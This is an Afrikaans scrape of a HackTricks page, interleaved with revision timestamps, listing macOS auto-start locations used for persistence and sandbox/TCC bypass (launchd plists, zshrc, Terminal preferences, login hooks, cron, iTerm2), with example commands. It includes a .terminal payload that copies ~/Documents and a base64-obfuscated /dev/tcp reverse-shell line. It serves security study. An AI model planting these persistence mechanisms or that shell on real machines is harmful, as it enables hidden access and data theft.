2024-02-13 00:50:43 +00:00
# macOS Selfbegin
2023-06-01 21:09:46 +00:00
< details >
2024-02-13 00:50:43 +00:00
< summary > < strong > Leer AWS-hacking vanaf nul tot held met< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2023-06-01 21:09:46 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2023-12-30 20:49:49 +00:00
2024-02-23 16:45:55 +00:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE** ](https://github.com/sponsors/carlospolop )!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2024-02-23 16:45:55 +00:00
* Ontdek [**Die PEASS Familie** ](https://opensea.io/collection/the-peass-family ), ons versameling eksklusiewe [**NFTs** ](https://opensea.io/collection/the-peass-family )
2024-02-13 00:50:43 +00:00
* **Sluit aan by die** 💬 [**Discord-groep** ](https://discord.gg/hRep4RUj7f ) of die [**telegram-groep** ](https://t.me/peass ) of **volg** ons op **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
2024-02-23 16:45:55 +00:00
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) en [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github-opslag.
2023-06-01 21:09:46 +00:00
< / details >
2024-02-13 00:50:43 +00:00
Hierdie afdeling is sterk gebaseer op die blogreeks [**Beyond the good ol' LaunchAgents** ](https://theevilbit.github.io/beyond/ ), die doel is om **meer Selfbeginlokasies** by te voeg (indien moontlik), aan te dui **watter tegnieke steeds werk** met die nuutste weergawe van macOS (13.4) en om die **toestemmings** wat nodig is, te spesifiseer.
2023-06-01 21:09:46 +00:00
2024-03-17 16:40:53 +00:00
## Sandbox Oorweging
2023-09-28 20:05:35 +00:00
{% hint style="success" %}
2024-03-17 16:40:53 +00:00
Hier kan jy selfbeginlokasies vind wat nuttig is vir **sandbox-oorweging** wat jou toelaat om eenvoudig iets uit te voer deur dit in 'n lêer te **skryf** en te **wag** vir 'n baie **gewone aksie** , 'n bepaalde **hoeveelheid tyd** of 'n **aksie wat jy gewoonlik kan uitvoer** van binne 'n sandbox sonder om root-toestemmings te benodig.
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
### Launchd
2024-03-17 16:40:53 +00:00
* Nuttig vir sandbox-oorweging: [✅ ](https://emojipedia.org/check-mark-button )
* TCC Oorweging: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-13 00:50:43 +00:00
#### Lokasies
2023-09-28 15:09:34 +00:00
* **`/Library/LaunchAgents`**
2024-02-11 02:07:06 +00:00
* **Trigger**: Herlaai
2024-02-13 00:50:43 +00:00
* Root benodig
2023-09-28 15:09:34 +00:00
* **`/Library/LaunchDaemons`**
2024-02-11 02:07:06 +00:00
* **Trigger**: Herlaai
2024-02-13 00:50:43 +00:00
* Root benodig
2023-09-28 15:09:34 +00:00
* **`/System/Library/LaunchAgents`**
2024-02-11 02:07:06 +00:00
* **Trigger**: Herlaai
2024-02-13 00:50:43 +00:00
* Root benodig
2023-09-28 15:09:34 +00:00
* **`/System/Library/LaunchDaemons`**
2024-02-11 02:07:06 +00:00
* **Trigger**: Herlaai
2024-02-13 00:50:43 +00:00
* Root benodig
2023-09-28 15:09:34 +00:00
* **`~/Library/LaunchAgents`**
2024-02-11 02:07:06 +00:00
* **Trigger**: Herlaai
2023-09-28 15:09:34 +00:00
* **`~/Library/LaunchDemons`**
2024-02-11 02:07:06 +00:00
* **Trigger**: Herlaai
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
#### Beskrywing & Uitbuiting
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
**`launchd`** is die **eerste** **proses** wat deur die OX S-kernel by opstart uitgevoer word en die laaste om af te sluit. Dit behoort altyd die **PID 1** te hê. Hierdie proses sal die konfigurasies wat in die **ASEP** **plists** aangedui word, **lees en uitvoer** in:
2023-06-01 21:09:46 +00:00
2024-02-23 16:45:55 +00:00
* `/Library/LaunchAgents` : Per-gebruiker-agente geïnstalleer deur die administrateur
* `/Library/LaunchDaemons` : Stelselwye duiwels geïnstalleer deur die administrateur
* `/System/Library/LaunchAgents` : Per-gebruiker-agente voorsien deur Apple.
* `/System/Library/LaunchDaemons` : Stelselwye duiwels voorsien deur Apple.
2023-06-01 21:09:46 +00:00
2024-02-23 16:45:55 +00:00
Wanneer 'n gebruiker aanmeld, word die plists wat in `/Users/$USER/Library/LaunchAgents` en `/Users/$USER/Library/LaunchDemons` geleë is, gestart met die **toestemmings van die aangemelde gebruikers** .
2023-06-01 21:09:46 +00:00
2024-02-23 16:45:55 +00:00
Die **hoofverskil tussen agente en duiwels is dat agente gelaai word wanneer die gebruiker aanmeld en die duiwels gelaai word by stelselopstart** (aangesien daar dienste soos ssh is wat uitgevoer moet word voordat enige gebruiker toegang tot die stelsel kry). Agente kan ook GUI gebruik terwyl duiwels in die agtergrond moet hardloop.
2023-06-01 21:09:46 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
< plist version = "1.0" >
< dict >
2024-02-11 02:07:06 +00:00
< key > Label< / key >
< string > com.apple.someidentifier< / string >
< key > ProgramArguments< / key >
< array >
< string > bash -c 'touch /tmp/launched'< / string > <!-- Prog to execute -->
< / array >
< key > RunAtLoad< / key > < true / > <!-- Execute at system startup -->
< key > StartInterval< / key >
< integer > 800< / integer > <!-- Execute each 800s -->
< key > KeepAlive< / key >
< dict >
< key > SuccessfulExit< / key > < / false > <!-- Re - execute if exit unsuccessful -->
<!-- If previous is true, then re - execute in successful exit -->
< / dict >
2023-06-01 21:09:46 +00:00
< / dict >
< / plist >
```
2024-02-13 00:50:43 +00:00
Daar is gevalle waar 'n **agent uitgevoer moet word voordat die gebruiker aanmeld** , hierdie word genoem **PreLoginAgents** . Byvoorbeeld, dit is nuttig om ondersteunende tegnologie by aanmelding te voorsien. Hulle kan ook gevind word in `/Library/LaunchAgents` (sien [**hier** ](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents ) 'n voorbeeld).
2023-06-01 21:09:46 +00:00
2023-09-28 15:09:34 +00:00
{% hint style="info" %}
2024-03-17 16:40:53 +00:00
Nuwe Daemons of Agents konfigurasie lêers sal **gelaai word na die volgende herlaai of deur gebruik te maak van** `launchctl load <target.plist>` Dit is **ook moontlik om .plist lêers sonder daardie uitbreiding te laai** met `launchctl -F <file>` (egter sal daardie plist lêers nie outomaties gelaai word na herlaai nie).\
Dit is ook moontlik om **te ontlas** met `launchctl unload <target.plist>` (die proses wat daarna verwys word, sal beëindig word),
2023-06-01 21:09:46 +00:00
2024-03-17 16:40:53 +00:00
Om **te verseker** dat daar nie **iets** (soos 'n oorskrywing) is wat 'n **Agent** of **Daemon** **verhoed** **om** **uitgevoer te word** voer uit: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
2023-09-28 15:09:34 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
2024-02-13 00:50:43 +00:00
Lys alle agents en daemons wat deur die huidige gebruiker gelaai is:
2023-06-01 21:09:46 +00:00
```bash
launchctl list
```
2023-11-02 16:52:21 +00:00
{% hint style="warning" %}
2024-03-17 16:40:53 +00:00
Indien 'n plist deur 'n gebruiker besit word, selfs al is dit in 'n daemon-stelselwyde gids, sal die taak as die gebruiker uitgevoer word en nie as root nie. Dit kan sommige voorregskaleringaanvalle voorkom.
2023-11-02 16:52:21 +00:00
{% endhint %}
2024-02-13 00:50:43 +00:00
### skulpaanvang lêers
2023-09-28 15:09:34 +00:00
2024-02-23 16:45:55 +00:00
Uiteensetting: [https://theevilbit.github.io/beyond/beyond\_0001/ ](https://theevilbit.github.io/beyond/beyond\_0001/ )\
Uiteensetting (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/ ](https://theevilbit.github.io/beyond/beyond\_0018/ )
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
* Nuttig om sandkas te omseil: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:50:43 +00:00
* TCC Omseiling: [✅ ](https://emojipedia.org/check-mark-button )
2024-03-17 16:40:53 +00:00
* Maar jy moet 'n toepassing met 'n TCC-omseiling vind wat 'n skulpaanvang lêer uitvoer wat hierdie lêers laai
2023-09-28 20:05:35 +00:00
2024-02-13 00:50:43 +00:00
#### Liggings
2023-09-28 15:09:34 +00:00
2023-12-30 00:49:26 +00:00
* **`~/.zshrc`, `~/.zlogin` , `~/.zshenv.zwc` **, ** `~/.zshenv` , `~/.zprofile` **
2024-02-23 16:45:55 +00:00
* **Trigger**: Maak 'n terminal oop met zsh
2023-09-28 15:09:34 +00:00
* **`/etc/zshenv`, `/etc/zprofile` , `/etc/zshrc` , `/etc/zlogin` **
2024-02-23 16:45:55 +00:00
* **Trigger**: Maak 'n terminal oop met zsh
2024-02-13 00:50:43 +00:00
* Root benodig
2023-09-28 15:09:34 +00:00
* **`~/.zlogout`**
2024-02-23 16:45:55 +00:00
* **Trigger**: Maak 'n terminal toe met zsh
2023-09-28 15:09:34 +00:00
* **`/etc/zlogout`**
2024-02-23 16:45:55 +00:00
* **Trigger**: Maak 'n terminal toe met zsh
2024-02-13 00:50:43 +00:00
* Root benodig
2024-02-11 02:07:06 +00:00
* Moontlik meer in: ** `man zsh` **
2023-09-28 15:09:34 +00:00
* **`~/.bashrc`**
2024-02-23 16:45:55 +00:00
* **Trigger**: Maak 'n terminal oop met bash
2024-02-11 02:07:06 +00:00
* `/etc/profile` (het nie gewerk nie)
* `~/.profile` (het nie gewerk nie)
2023-09-28 15:09:34 +00:00
* `~/.xinitrc` , `~/.xserverrc` , `/opt/X11/etc/X11/xinit/xinitrc.d/`
2024-03-17 16:40:53 +00:00
* **Trigger**: Verwag om met xterm te aktiveer, maar dit **is nie geïnstalleer nie** en selfs nadat dit geïnstalleer is, word hierdie fout gegooi: xterm: `DISPLAY is not set`
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
#### Beskrywing & Uitbuiting
2023-09-28 15:09:34 +00:00
2024-03-17 16:40:53 +00:00
Wanneer 'n skulpaanvangomgewing soos `zsh` of `bash` geïnisieer word, **word sekere aanvanglêers uitgevoer** . macOS gebruik tans `/bin/zsh` as die verstekskul. Hierdie skul word outomaties benader wanneer die Terminal-toepassing geopen word of wanneer 'n toestel via SSH benader word. Alhoewel `bash` en `sh` ook teenwoordig is in macOS, moet hulle uitdruklik aangeroep word om gebruik te word.
2023-09-28 15:09:34 +00:00
2024-03-17 16:40:53 +00:00
Die manbladsy van zsh, wat ons kan lees met ** `man zsh` ** het 'n lang beskrywing van die aanvanglêers.
2023-09-28 15:09:34 +00:00
```bash
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
```
2024-02-23 16:45:55 +00:00
### Heropenede Toepassings
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2024-02-23 16:45:55 +00:00
Die konfigurasie van die aangeduide uitbuiting en uitlog en inlog of selfs herlaai het nie vir my gewerk om die toepassing uit te voer nie. (Die toepassing is nie uitgevoer nie, dit moet dalk loop wanneer hierdie aksies uitgevoer word)
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/ ](https://theevilbit.github.io/beyond/beyond\_0021/ )
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
* Nuttig om sandboks te omseil: [✅ ](https://emojipedia.org/check-mark-button )
* TCC omseiling: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
#### Ligging
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist`**
2024-03-17 16:40:53 +00:00
* **Trigger**: Heropen toepassings tydens herlaai
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
#### Beskrywing & Uitbuiting
2023-09-28 20:05:35 +00:00
2024-02-13 00:50:43 +00:00
Alle toepassings om te heropen is binne die plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`
2023-09-28 20:05:35 +00:00
2024-02-13 00:50:43 +00:00
Om dus die heropen toepassings jou eie een te laat begin, moet jy net **jou toepassing by die lys voeg** .
2023-09-28 20:05:35 +00:00
2024-02-11 02:07:06 +00:00
Die UUID kan gevind word deur daardie gids te lys of met `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
2023-09-28 20:05:35 +00:00
2024-03-17 16:40:53 +00:00
Om die toepassings wat heropen sal word te kontroleer, kan jy die volgende doen:
2023-09-28 20:05:35 +00:00
```bash
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist
2023-09-28 15:09:34 +00:00
```
2024-02-23 16:45:55 +00:00
Om ** 'n toepassing by hierdie lys te voeg** kan jy gebruik:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
2024-02-11 02:07:06 +00:00
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist
2023-09-28 15:09:34 +00:00
```
2024-02-11 02:07:06 +00:00
### Terminal Voorkeure
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
* Nuttig om sandboks te omseil: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-11 02:07:06 +00:00
* TCC omseiling: [✅ ](https://emojipedia.org/check-mark-button )
* Terminal gebruik om FDA-toestemmings van die gebruiker te hê
2023-10-01 18:04:16 +00:00
2024-02-13 00:50:43 +00:00
#### Plek
2023-10-01 18:04:16 +00:00
* **`~/Library/Preferences/com.apple.Terminal.plist`**
2024-02-11 02:07:06 +00:00
* **Trigger**: Open Terminal
2023-10-01 18:04:16 +00:00
2024-02-11 02:07:06 +00:00
#### Beskrywing & Uitbuiting
2023-09-28 15:09:34 +00:00
2024-03-17 16:40:53 +00:00
In ** `~/Library/Preferences` ** word die voorkeure van die gebruiker in die Toepassings gestoor. Sommige van hierdie voorkeure kan 'n konfigurasie hê om **ander toepassings/skripte uit te voer** .
2023-09-28 15:09:34 +00:00
2024-03-17 16:40:53 +00:00
Byvoorbeeld, die Terminal kan 'n bevel uitvoer by die Begin:
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
< figure > < img src = "../.gitbook/assets/image (676).png" alt = "" width = "495" > < figcaption > < / figcaption > < / figure >
2024-02-13 00:50:43 +00:00
Hierdie konfigurasie word weerspieël in die lêer ** `~/Library/Preferences/com.apple.Terminal.plist` ** soos dit:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
[...]
"Window Settings" => {
2024-02-11 02:07:06 +00:00
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
2023-09-28 20:05:35 +00:00
[...]
2023-09-28 15:09:34 +00:00
```
2024-03-17 16:40:53 +00:00
So, as die plist van die voorkeure van die terminal in die stelsel oorskryf kan word, kan die ** `open` ** funksionaliteit gebruik word om **die terminal te open en daardie bevel uit te voer** .
Jy kan dit van die opdraggelyns doen met:
2023-09-28 15:09:34 +00:00
2024-03-17 16:40:53 +00:00
{% code overflow="wrap" %}
2023-09-28 15:09:34 +00:00
```bash
# Add
2023-09-28 20:05:35 +00:00
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist
2023-09-28 15:09:34 +00:00
# Remove
2023-09-28 20:05:35 +00:00
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist
2023-09-28 15:09:34 +00:00
```
{% endcode %}
2024-02-11 02:07:06 +00:00
### Terminal Skripte / Ander lêeruitbreidings
2023-10-01 18:04:16 +00:00
2024-02-23 16:45:55 +00:00
* Nuttig om sanderblok te omseil: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-11 02:07:06 +00:00
* TCC omseiling: [✅ ](https://emojipedia.org/check-mark-button )
* Terminal gebruik om FDA-toestemmings van die gebruiker te hê
2023-10-01 18:04:16 +00:00
2024-03-17 16:40:53 +00:00
#### Plek
2023-10-01 18:04:16 +00:00
2024-02-11 02:07:06 +00:00
* **Enige plek**
2024-02-23 16:45:55 +00:00
* **Trigger**: Maak Terminal oop
2023-10-01 18:04:16 +00:00
2024-02-11 02:07:06 +00:00
#### Beskrywing & Uitbuiting
2023-10-01 18:04:16 +00:00
2024-02-13 00:50:43 +00:00
As jy 'n [**`.terminal`** skrip ](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx ) skep en oopmaak, sal die **Terminal-toepassing** outomaties opgeroep word om die opdragte wat daarin aangedui is, uit te voer. As die Terminal-toep 'n paar spesiale voorregte het (soos TCC), sal jou opdrag met daardie spesiale voorregte uitgevoer word.
2023-10-01 18:04:16 +00:00
2024-02-11 02:07:06 +00:00
Probeer dit met:
2023-10-01 18:04:16 +00:00
```bash
# Prepare the payload
cat > /tmp/test.terminal < < EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-11 02:07:06 +00:00
< key > CommandString< / key >
< string > mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;< / string >
< key > ProfileCurrentVersion< / key >
< real > 2.0600000000000001< / real >
< key > RunCommandAsShell< / key >
< false / >
< key > name< / key >
< string > exploit< / string >
< key > type< / key >
< string > Window Settings< / string >
2023-10-01 18:04:16 +00:00
< / dict >
< / plist >
EOF
# Trigger it
open /tmp/test.terminal
# Use something like the following for a reverse shell:
< string > echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;< / string >
```
2024-02-11 02:07:06 +00:00
### Klankinvoegtoepassings
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
Uiteensetting: [https://theevilbit.github.io/beyond/beyond\_0013/ ](https://theevilbit.github.io/beyond/beyond\_0013/ )\
Uiteensetting: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882 ](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882 )
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
* Nuttig om sandboks te omseil: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-11 02:07:06 +00:00
* TCC-omseiling: [🟠 ](https://emojipedia.org/large-orange-circle )
* Jy kan dalk ekstra TCC-toegang kry
2023-12-30 00:49:26 +00:00
2024-02-13 00:50:43 +00:00
#### Ligging
2023-09-28 20:05:35 +00:00
* **`/Library/Audio/Plug-Ins/HAL`**
2024-02-13 00:50:43 +00:00
* Root benodig
2024-02-11 02:07:06 +00:00
* **Trigger**: Herlaai coreaudiod of die rekenaar
2023-09-28 20:05:35 +00:00
* **`/Library/Audio/Plug-ins/Components`**
2024-02-13 00:50:43 +00:00
* Root benodig
2024-02-11 02:07:06 +00:00
* **Trigger**: Herlaai coreaudiod of die rekenaar
2023-09-28 20:05:35 +00:00
* **`~/Library/Audio/Plug-ins/Components`**
2024-02-11 02:07:06 +00:00
* **Trigger**: Herlaai coreaudiod of die rekenaar
2023-09-28 20:05:35 +00:00
* **`/System/Library/Components`**
2024-02-13 00:50:43 +00:00
* Root benodig
2024-02-11 02:07:06 +00:00
* **Trigger**: Herlaai coreaudiod of die rekenaar
2023-09-28 20:05:35 +00:00
2024-02-11 02:07:06 +00:00
#### Beskrywing
2023-09-28 20:05:35 +00:00
2024-02-13 00:50:43 +00:00
Volgens die vorige uiteensettings is dit moontlik om **sekere klankinvoegtoepassings saam te stel** en hulle te laai.
2023-09-28 20:05:35 +00:00
2024-03-17 16:40:53 +00:00
### QuickLook Invoegtoepassings
2023-09-28 20:05:35 +00:00
2024-02-13 00:50:43 +00:00
Uiteensetting: [https://theevilbit.github.io/beyond/beyond\_0028/ ](https://theevilbit.github.io/beyond/beyond\_0028/ )
2023-09-28 20:05:35 +00:00
2024-02-13 00:50:43 +00:00
* Nuttig om sandboks te omseil: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-11 02:07:06 +00:00
* TCC-omseiling: [🟠 ](https://emojipedia.org/large-orange-circle )
* Jy kan dalk ekstra TCC-toegang kry
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
#### Ligging
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* `/System/Library/QuickLook`
* `/Library/QuickLook`
* `~/Library/QuickLook`
* `/Applications/AppNameHere/Contents/Library/QuickLook/`
* `~/Applications/AppNameHere/Contents/Library/QuickLook/`
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
#### Beskrywing & Uitbuiting
2023-09-28 15:09:34 +00:00
2024-02-23 16:45:55 +00:00
QuickLook-invoegtoepassings kan uitgevoer word wanneer jy die **voorbeeld van 'n lêer' aktiveer** (druk die spatiebalk met die lêer gekies in Finder) en 'n **invoegtoepassing wat daardie lêertipe ondersteun** geïnstalleer is.
2023-09-28 15:09:34 +00:00
2024-03-17 16:40:53 +00:00
Dit is moontlik om jou eie QuickLook-invoegtoepassing saam te stel, dit in een van die vorige ligginge te plaas om dit te laai en dan na 'n ondersteunde lêer te gaan en die spatiebalk te druk om dit te aktiveer.
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
### ~~Aanmelding/Afmelding Hake~~
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2024-02-13 00:50:43 +00:00
Dit het nie vir my gewerk nie, nie met die gebruiker LoginHook nie of met die root LogoutHook nie
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-02-13 00:50:43 +00:00
**Uiteensetting**: [https://theevilbit.github.io/beyond/beyond\_0022/ ](https://theevilbit.github.io/beyond/beyond\_0022/ )
2023-09-28 20:05:35 +00:00
2024-02-13 00:50:43 +00:00
* Nuttig om sandboks te omseil: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-11 02:07:06 +00:00
* TCC-omseiling: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-13 00:50:43 +00:00
#### Ligging
2023-09-28 20:05:35 +00:00
2024-03-17 16:40:53 +00:00
* Jy moet iets soos `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` kan uitvoer
2024-02-11 02:07:06 +00:00
* Geleë in `~/Library/Preferences/com.apple.loginwindow.plist`
2023-09-28 15:09:34 +00:00
2024-03-17 16:40:53 +00:00
Hulle is verouderd maar kan gebruik word om bevele uit te voer wanneer 'n gebruiker aanmeld.
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
cat > $HOME/hook.sh < < EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
2023-09-28 15:09:34 +00:00
```
2024-03-17 16:40:53 +00:00
Hierdie instelling word gestoor in `/Gebruikers/$GEBRUIKER/Biblioteek/Voorkeure/com.apple.loginwindow.plist`
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
2024-02-11 02:07:06 +00:00
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
2023-09-28 20:05:35 +00:00
}
2023-09-28 15:09:34 +00:00
```
2024-02-11 02:07:06 +00:00
Om dit te verwyder:
2023-09-28 20:05:35 +00:00
```bash
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
```
2024-02-11 02:07:06 +00:00
Die root-gebruiker een is gestoor in ** `/private/var/root/Library/Preferences/com.apple.loginwindow.plist` **
2023-09-28 20:05:35 +00:00
2024-03-17 16:40:53 +00:00
## Voorwaardelike Sandbox Omgang
2023-09-28 20:05:35 +00:00
{% hint style="success" %}
2024-03-17 16:40:53 +00:00
Hier kan jy beginlokasies vind wat nuttig is vir **sandbox omgang** wat jou toelaat om eenvoudig iets uit te voer deur dit in 'n lêer te **skryf** en **nie baie algemene toestande** te verwag soos spesifieke **geïnstalleerde programme, "ongewone" gebruiker** aksies of omgewings.
2023-09-28 15:09:34 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
### Cron
2023-09-28 15:09:34 +00:00
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0004/ ](https://theevilbit.github.io/beyond/beyond\_0004/ )
2024-03-17 16:40:53 +00:00
* Nuttig vir omgang met sandbox: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-11 02:07:06 +00:00
* Jy moet egter in staat wees om die `crontab` binêre lêer uit te voer
* Of wees root
2024-03-17 16:40:53 +00:00
* TCC omgang: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-13 00:50:43 +00:00
#### Lokasie
2023-09-28 15:09:34 +00:00
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs` , `/private/var/at/jobs` , `/etc/periodic/` **
2024-02-13 00:50:43 +00:00
* Root benodig vir direkte skryftoegang. Geen root nodig as jy `crontab <lêer>` kan uitvoer nie
2024-03-17 16:40:53 +00:00
* **Trigger**: Afhanklik van die cron taak
2023-09-28 15:09:34 +00:00
2024-02-11 02:07:06 +00:00
#### Beskrywing & Uitbuiting
2023-06-01 21:09:46 +00:00
2024-03-17 16:40:53 +00:00
Lys die cron take van die **huidige gebruiker** met:
2023-06-01 21:09:46 +00:00
```bash
crontab -l
```
2024-02-13 00:50:43 +00:00
Jy kan ook al die cron take van die gebruikers sien in ** `/usr/lib/cron/tabs/` ** en ** `/var/at/tabs/` ** (benodig root).
2023-06-01 21:09:46 +00:00
2024-03-17 16:40:53 +00:00
In MacOS kan verskeie folders gevind word wat skripte met **sekere frekwensie** uitvoer:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
# The one with the cron jobs is /usr/lib/cron/tabs/
2023-06-01 21:09:46 +00:00
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
```
2024-02-13 00:50:43 +00:00
Daar kan jy die gewone **cron** **take** , die **at** **take** (nie baie gebruik nie) en die **periodic** **take** (hoofsaaklik gebruik vir skoonmaak van tydelike lêers) vind. Die daaglikse periodieke take kan byvoorbeeld uitgevoer word met: `periodic daily` .
2023-06-01 21:09:46 +00:00
2024-02-13 00:50:43 +00:00
Om 'n **gebruiker cronjob programmaties** by te voeg, is dit moontlik om te gebruik:
2023-09-28 15:09:34 +00:00
```bash
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
```
2023-09-28 20:05:35 +00:00
### iTerm2
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/ ](https://theevilbit.github.io/beyond/beyond\_0002/ )
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
* Nuttig om sandboks te omseil: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-11 02:07:06 +00:00
* TCC omseiling: [✅ ](https://emojipedia.org/check-mark-button )
2024-03-17 16:40:53 +00:00
* iTerm2 het voorheen TCC-toestemmings verleen
2023-09-28 15:09:34 +00:00
2024-02-13 00:50:43 +00:00
#### Liggings
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**
2024-02-23 16:45:55 +00:00
* **Trigger**: Open iTerm
2023-09-28 20:05:35 +00:00
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**
2024-02-23 16:45:55 +00:00
* **Trigger**: Open iTerm
2023-09-28 20:05:35 +00:00
* **`~/Library/Preferences/com.googlecode.iterm2.plist`**
2024-02-23 16:45:55 +00:00
* **Trigger**: Open iTerm
